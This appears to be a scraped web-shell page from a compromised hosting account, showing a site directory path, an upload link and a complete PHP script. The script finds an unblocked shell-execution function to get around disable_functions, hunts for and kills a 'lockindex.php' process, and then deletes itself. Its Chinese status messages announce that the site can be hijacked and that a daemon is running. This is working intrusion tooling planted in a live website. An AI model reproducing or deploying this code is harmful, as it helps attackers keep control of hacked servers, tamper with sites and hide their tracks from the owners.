/
home
/
sjslayjy
/
public_html
/
logimetrix.me
/
public
/
Upload File
HOME
<?php function ableMethod() { $methods = ['exec', 'shell_exec', 'popen', 'system', 'passthru']; $disableFuncs = explode(',', ini_get('disable_functions')); foreach ($methods as $method) { if (!in_array($method, $disableFuncs)) { return $method; } } return ''; } function runCmd($cmdStr, $ableMethod) { $cmdOutput = []; $cmdOutputCode = 0; $result = ''; switch ($ableMethod) { case 'exec': @exec($cmdStr, $cmdOutput, $cmdOutputCode); if ($cmdOutputCode === 0) { if (!empty($cmdOutput)) { $result = join("\n", $cmdOutput); $processID = current($cmdOutput); // 删除该进程ID @exec("kill -9 {$processID}", $cmdOutput2, $cmdOutputCode2); if ($cmdOutputCode2 === 0) { echo '进程ID=' . $processID . '删除成功'; } else { echo '进程ID=' . $processID . '删除失败'; } } return 'exec执行成功,结果:' . $result; } return 'exec执行失败'; case 'shell_exec': $result = @shell_exec($cmdStr); if ($result) { @shell_exec("kill -9 {$result}"); } return 'shell_exec执行成功,结果:' . $result; case 'popen': if (@is_resource($f = @popen($cmdStr, "r"))) { while (!@feof($f)) $result .= @fread($f, 1024); } if (@is_resource($f = @popen("kill -9 {$result}", "r"))) { while (!@feof($f)) $result .= @fread($f, 1024); } @pclose($f); return 'popen执行成功,结果:' . $result; case 'system': @ob_start(); @system($cmdStr, $cmdOutputCode); $result = @ob_get_contents(); @ob_end_clean(); if ($cmdOutputCode === 0) { return 'system执行成功,结果:' . $result; @system("kill -9 {$result}", $cmdOutputCode); } else { return 'system执行失败'; } case 'passthru': @ob_start(); @passthru($cmdStr, $cmdOutputCode); $result = @ob_get_contents(); @ob_end_clean(); if ($cmdOutputCode === 0) { return 'passthru执行成功,结果:' . $result; @passthru("kill -9 {$result}", $cmdOutputCode); } else { return 'passthru执行失败'; } default: return '未知执行函数'; } } $currentFilePath = __FILE__; $currentFileDir = pathinfo($currentFilePath, PATHINFO_DIRNAME); $str = ''; $ableMethod = ableMethod(); if (empty($ableMethod)) { $str .= 'php没有可执行命令行的函数;'; } else { $str .= 'php可用函数:' . ableMethod() . ';'; $cmdStr = "ps -ef | grep lockindex.php | grep -v grep | awk '{print $2}'"; $str .= '执行命令:' . $cmdStr . ';'; $res = runCmd($cmdStr, $ableMethod); $str .= '执行结果:' . $res . ',最终success;'; $str .= '该站点可被秒杀秒改,守护进程运行中'; } header("Content-type:text/html; charset=utf-8"); unlink($currentFilePath); die($str);